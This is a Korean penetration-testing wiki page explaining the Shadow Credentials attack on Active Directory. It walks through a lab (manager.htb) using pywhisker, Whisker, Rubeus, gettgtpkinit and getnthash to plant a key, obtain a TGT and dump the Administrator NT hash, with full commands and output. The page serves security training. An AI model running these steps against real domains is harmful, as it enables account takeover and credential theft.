펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 민감정보 탈취
  2. Active Directory

Shadow Credentials

PreviousResource Based Constrained DelegationNextDCSync

Last updated 19 days ago

Was this helpful?

Kerberos 사전 인증 단계인 AS-REQ에서는 대칭키와 공개키 선택이 가능합니다. 공개키를 선택할 경우 TGT 세션 키는 사용자의 공개키로 암호화가 되기 때문에 패스워드 사용 없이도 TGS 세션 키 획득 및 ST 발행 요청이 가능합니다. KDC가 유저의 인증서로부터 기재된 공개키와 저장된 공개키의 일치 여부를 판단할 때 도메인 유저의 속성 중 msDS-KeyCredentialLink 속성에서 공개키를 가져옵니다.

장악한 사용자 계정에서 다른 사용자에 대해 GenericAll, GenericWrite, GenericOwner 등의 권한이 존재하여 사용자 공개키 속성을 변경할 수 있다면 개체의 msDA-KeyCredentialLink 속성에 공격자의 공개키를 등록하여 PKINIT을 통한 인증을 통과하여 TGT를 발급받고 발급받은 TGT로부터 TGS 요청에 따라 PAC 정보에서 NT Hash를 덤핑할 수 있습니다. 자세한 매커니즘은 를 참조하세요.

Practice

실습에 있어서 필요한 도구들을 다음 깃허브로부터 설치합니다.

실습 환경에서 wiki 사용자는 Administrator 계정에 대해 GenericAll 권한이 있습니다. pywhisker를 사용하여 타겟 사용자의 msDS-KeyCredentialLink 속성에 권한이 있는 wiki 사용자의 공개키를 등록합니다. 이때 등록하는 공개키는 별도로 제작할 필요 없이 -a 플래그로 'add' 모드를 사용하면 타겟 도메인의 wiki 사용자에 대한 pfx 인증서가 생성되고 공개키가 등록됩니다.

# 공격 후 정리를 위해 기존에 존재하는 키 열거
beacon> execute-assembly C:\Tools\Whisker.exe list /target:<Target>

# 키 추가
beacon> execute-assembly C:\Tools\Whisker.exe add /target:<Target>

# TGT 요청
beacon> execute-assembly C:\Tools\Rubeus.exe asktgt /user:<Target> /certificate:IJA[...]CBA /password:<PASS> /nowrap

# 생성한 키 정리
beacon> execute-assembly C:\Tools\Whisker.exe remove /target:<Target> /deviceid:<device ID>
# 명령어 양식
pywhisker.py -d <Domain> -u <USER> -p <PASS> -t <Target> -a 'add'

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]                                     
└─# python3 pywhisker.py -d manager.htb -u wiki -p Password123! -t Administrator -a 'add'                                                                                        
[*] Searching for the target account                                                    
[*] Target user found: CN=Administrator,CN=Users,DC=manager,DC=htb                      
[*] Generating certificate                                                              
[*] Certificate generated             
[*] Generating KeyCredential                                                            
[*] KeyCredential generated with DeviceID: d06a361b-03ec-80b5-f890-8244bf7b3557         
[*] Updating the msDS-KeyCredentialLink attribute of Administrator                      
[+] Updated the msDS-KeyCredentialLink attribute of the target object                                                                                                            
[+] Saved PFX (#PKCS12) certificate & key at path: pArc576T.pfx                         
[*] Must be used with password: mnj9629giSkkw8S5FKwa                                                                                                                             
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools    

명령 실행 결과 pArc576T.pfx 파일과 이 파일을 실행하는데 필요한 패스워드가 mnj9629giSkkw8S5FKwa 으로 할당되었습니다. wiki 사용자의 공개키가 등록되었으니 TGT 요청을 통해 Administrator 계정의 TGT를 발급받습니다.

# 명령어 양식
gettgtpkinit.py -cert-pfx <PFX> -pfx-pass <PFX PASS> <Domain>/<Target> target.ccache

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]                                     
└─# python3 gettgtpkinit.py -cert-pfx pArc576T.pfx -pfx-pass mnj9629giSkkw8S5FKwa manager.htb/Administrator target.ccache
2024-11-20 18:36:11,189 minikerberos INFO     Loading certificate and key from file                                                                                              
INFO:minikerberos:Loading certificate and key from file      
2024-11-20 18:36:11,207 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT                                                        
2024-11-20 18:36:11,371 minikerberos INFO     AS-REP encryption key (you might need this later):                                                                                 
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-11-20 18:36:11,371 minikerberos INFO     0ff0f7b12664d1a7845055991ef71e98744a7f1e1a0be21bd4eddb6fc1f87ac6
INFO:minikerberos:0ff0f7b12664d1a7845055991ef71e98744a7f1e1a0be21bd4eddb6fc1f87ac6
2024-11-20 18:36:11,375 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file

# 생성한 target.ccache 파일 환경변수 등록
export KRB5CCNAME=target.ccache

TGT 발급과 함께 암호화된 AS-REP 키를 getnthash 인자로 할당해주면 타겟에 대한 NT Hash 덤핑이 성공합니다.

# 명령어 양식
python3 getnthash.py -key <AS-REP encryption key> <Domain>/<Target>

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# python3 getnthash.py -key 0ff0f7b12664d1a7845055991ef71e98744a7f1e1a0be21bd4eddb6fc1f87ac6 manager.htb/Administrator 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
ae5064c2f62317332c88629e025924ef

권한상승이 성공한 이후에는 등록해뒀던 공개키를 제거합니다.

# 명령어 양식
python3 pywhisker.py -d <Domain> -u <USER> -p <PASS> -t <Target> -a 'remove' -D <DeviceID>

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# python3 pywhisker.py -d manager.htb -u wiki -p Password123! -t Administrator -a 'remove' -D 52d6e791-7ebe-855e-8cd6-8ef1aab9b22c
[*] Searching for the target account
[*] Target user found: CN=Administrator,CN=Users,DC=manager,DC=htb
[*] Found value to remove
[*] Updating the msDS-KeyCredentialLink attribute of Administrator
[+] Updated the msDS-KeyCredentialLink attribute of the target object

References

How to get NT Hash
https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566abposts.specterops.io
PKINITtools/gettgtpkinit.py at master · dirkjanm/PKINITtoolsGitHub
Shadow Credentials attacks: safeguard your systemI-TRACING
PKINIT FTW - Chaining Shadow Credentials and ADCS Template Abuse
pywhisker/pywhisker/pywhisker.py at main · ShutdownRepo/pywhiskerGitHub
PKINITtools/getnthash.py at master · dirkjanm/PKINITtoolsGitHub
Logo
Logo
Logo
Logo
GenericAll | 레드팀 플레이북
Logo
Logo